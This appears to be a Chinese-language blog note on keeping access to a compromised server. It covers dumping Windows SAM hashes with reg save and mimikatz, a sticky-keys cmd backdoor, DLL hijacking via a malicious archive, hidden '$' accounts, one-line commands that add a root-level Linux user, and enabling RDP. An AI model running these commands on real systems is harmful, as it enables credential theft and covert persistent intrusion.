权限维持

简介

攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者将如入无人之境

常见后门技术列表

  • 隐藏、克隆后门
  • shift后门
  • 启动项、计划任务
  • DLL劫持技术
  • Powershell后门
  • 远控软件

获取系统登陆账号

Windows

系统登陆账号位置:

1
C:\Windows\System32\config\SAM

在Windows系统中,对用户账户的安全管理采用了SAM(Security Account Manager)安全账号管理机制,用户账户以及密码经过Hash加密后,保存在SAM数据库中
SAM数据库保存在C:\Windows\System32\config\SAM文件中,当用户登录系统时,首先就要与SAM文件中存放的账户信息进行对比,验证通过方可登陆。系统对SAM文件提供了保护机制,无法将其复制或者删除,也就无法直接读取其中的内容


SAM加密方式

  • LM加密
    密码位数 <= 14,不足部分用0补齐,把所有的字符转变为大写,随后分成2组,每组7位,分别加密,然后拼接在一起,就是最终的LM散列。
    其本质是DES加密

  • NTLM加密
    先将用户口令转变为unicode编码,在进行标准MD4单向哈希加密

  • 两种加密方式区别
    LM加密安全性远低于NTLM加密,因为NTLM加密允许使用更长的密码、大小写不同,而且无需分割密码为更短、更易被破解的块。所以在一个纯NTLM环境中,应该关闭Lan Manager加密方式


非免杀工具

  • wce.exe
  • QuarksPwDump.exe
  • Pwdump7.exe
  • gethash.exe
  • mimikatz

目前免杀版

  • 使用注册表导出Hash

    1
    2
    reg save hklm\sam C:\hash\sam.hive
    reg save hklm\system C:\hash\system.hive
  • 导出SAM文件

    1
    2
    # 一般用于域控上w至上10w用户时
    shadow copy
  • 其他方式

    • procdump + mimikatz
    • lsadump + mimikatz
    • powershell + mimikatz
    • powershell + getpasshash
    • powershell + 其它工具

破解方式


注意事项

  1. LM只能存储 <= 14个字符 的密码Hash,若 密码 >= 14位,windows就自动使用NTLM对其进行加密了,此时只有对应的NTLM Hash可用,在LM-Password中会以全0显示

  2. 一般情况下使用工具导出的Hash都有对应的LM和NTLM值,即 密码位数 <= 14,此时LM也会有值,除了LM值全为0之外,在老版本中看到LM为如下开头显示的:
    aad3b435b51404eeaad3b435b51404ee
    即表示密码为空或者位数超过了14位

  3. 在wind2003之前包括win2003会默认启用LM加密,win2003之后系统禁用了LM加密,使用NTLM加密

  4. LM方式的加密会存在一个对应的NTLM Hash值


Linux/Unix

账号信息存储位置

1
2
/etc/passwd
/etc/shadow
1
root:$1$Bg1H/4mz$X89TqH7tpi9dX1B9j5YsF.:14838:0:99999:7:::

id对应加密方式:
1:MD5
5:SHA256
6:SHA512

破解

John The Ripper


安装后门程序

Windows Shift后门

原理

利用cmd.exe重命名,并覆盖原来的粘滞键。当再次触发粘滞键时,相当于运行了cmd.exe

流程

使用命令,将cmd.exe重命名并替换掉shiftsetch.exe)功能,这样当通过远程桌面登陆服务器后,在输入账号密码处,连按5次shift即可弹出cmd命令行,权限为system


DLL劫持

举例

某播放器安装了播放器,而播放器在播放音乐时必须调用windows系统下一个标准动态链接库mp3play.dll,则黑客就自己开发一个恶意的mp3play.dll,然后再找一个MP3歌曲,将这个恶意的DLL和歌曲放在同一个文件下,然后打包压缩发给受害者
若受害者用右键将此压缩包中的MP3文件和DLL文件都解压缩到了一个目录中(大部分人会这么做),则受害人点击这个MP3文件时,播放器就会先去寻找mp3play.dll进行加载,而微软设计的加载dll顺序是先从默认文件本身的目录进行寻找,则虚假的、恶意的mp3play.dll就先被加载了

基于IE DLL劫持

原理:
在IE目录下构造IE会调用的恶意DLL库,完成提权

补充

影子账号

创建与查看

1
2
net user test$ Test123 /add
net user test$

一句话添加用户

1
2
3
4
5
6
7
8
9
# 一句话添加普通用户
useradd -p `openssl passwd -1 -salt 'suiyi' mima` zhanghu

# 一句话添加用户至root
useradd -p `openssl passwd -1 -salt 'xxllxx' 123456` -u 0 -g root -G root -s /bin/bash -d /usr/bin/xxllxx xxllxx
useradd -p `openssl passwd -1 -salt 'xxllxx' 123456` -u 15 -g root -G root -s /bin/bash -d /usr/bin/xxllxx xxllxx

# 一句话修改密码
echo "123456" | passwd --stdin xxllxx

windows下解决乱码

  • cmd下乱码:
    chcp 65001

  • python输出编码问题

    1
    2
    # 指定网页的编码格式
    r.encoding = 'utf-8'

windows开启3389端口

windows低版本

1
2
3
4
5
6
7
C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS!="") call setallowtsconnections 1

C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalNmae='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

net start TermService C:\Windows\System32\wbem\wmic


Linux使用远程桌面

1
rdesktop 192.168.1.1

您的支持是我前进的动力!